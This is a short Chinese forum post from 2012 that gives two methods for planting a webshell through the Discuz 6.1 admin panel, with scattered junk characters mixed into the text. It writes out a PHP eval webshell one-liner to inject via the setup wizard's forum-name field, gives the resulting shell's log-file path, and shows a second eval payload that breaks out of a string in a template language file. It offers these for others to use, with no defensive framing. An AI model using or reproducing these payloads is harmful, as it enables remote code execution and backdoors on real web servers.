discuz6.1两种方法后台拿shell- X8 H8 d( e1 N/ p# o5 H) b C2 B- a
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
- ?7 \" h- a, g% I6 r% T9 O1:
: h P3 w6 s+ P- T5 k# y5 jhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes' q2 X0 Y6 E4 ^% G- j: m2 q
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
7 @, ^& x% v. i) p2 `<?php eval($_POST[cmd]);?>* A8 z# A' J" l- v6 i
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
& C5 o% P" I" U3 [7 D7 [3 W
0 d+ W1 u4 F* A* ^0 S% s% X: p( ?" h4 d6 C7 Y) ^5 |+ e& t* [
2:后台模板管理--默认模板套系--详情
+ H/ {! z. H, F, Qtemplates/default/actions.lang.php
2 U/ ~: M- L E9 v8 \5 I0 z _6 K- _jhackj\\');eval($_POST[cmd])?>;// i- l1 S1 n$ {- K: T
3 a1 f% I0 n( d4 I6 h+ C利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对